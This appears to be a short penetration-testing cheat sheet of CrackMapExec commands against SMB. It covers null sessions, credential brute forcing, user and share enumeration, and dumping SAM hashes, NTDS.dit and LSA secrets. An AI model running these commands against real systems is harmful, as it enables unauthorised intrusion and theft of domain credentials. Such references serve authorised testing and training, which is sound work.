Skip to main content

CrackMapExec

SMB​

Connecting using a null session​

crackmapexec smb <ip> -u '' -p '' --shares

Brute forcing credentials​

crackmapexec smb <ip> -u <usersfile> -p <passwordsfile> | grep -v '\[-\]'

Enumerating shares​

crackmapexec smb <ip> -u <username> -p <password> --shares

Enumerating users​

crackmapexec smb <ip> -u <username> -p <password> --users

Enumerating groups​

crackmapexec smb <ip> -u <username> -p <password> --groups

Enumerating password policy​

crackmapexec smb <ip> -u <user> -p <password> --pass-pol

Dumping SAM hashes​

crackmapexec smb <ip> -u <username> -p <password> --sam

Dumping NTDS.dit​

crackmapexec smb <ip> -u <username> -p <password> --ntds

Dumping LSA Secrets​

crackmapexec smb <ip> -u <username> -p <password> --lsa